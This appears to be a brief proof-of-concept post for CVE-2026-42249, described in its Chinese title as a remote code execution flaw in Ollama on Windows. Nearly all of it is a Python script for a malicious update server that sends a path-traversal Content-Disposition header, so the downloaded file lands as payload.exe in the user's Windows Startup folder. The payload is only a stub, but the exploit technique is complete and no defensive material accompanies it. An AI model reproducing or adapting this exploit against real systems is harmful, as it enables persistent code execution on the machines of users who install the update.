CVE-2026-42249 Ollama Windows远程代码执行漏洞

# Conceptual PoC for CVE-2026-42249 # This script simulates a malicious update server response. from http.server import HTTPServer, BaseHTTPRequestHandler class MaliciousUpdateHandler(BaseHTTPRequestHandler): def do_GET(self): # Send 200 OK response self.send_response(200) # Send malicious headers to exploit path traversal # Targeting Windows Startup folder via path traversal self.send_header('Content-Disposition', 'attachment; filename="../../../../../Users/%USERNAME%/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/payload.exe"') self.send_header('Content-Type', 'application/octet-stream') self.end_headers() # Write malicious payload (dummy content) self.wfile.write(b'MZ\x90\x00') # Minimal PE header start print("[+] Malicious update response sent with path traversal header.") if __name__ == '__main__': server = HTTPServer(('0.0.0.0', 8080), MaliciousUpdateHandler) print("[+] Listening on port 8080...") server.serve_forever()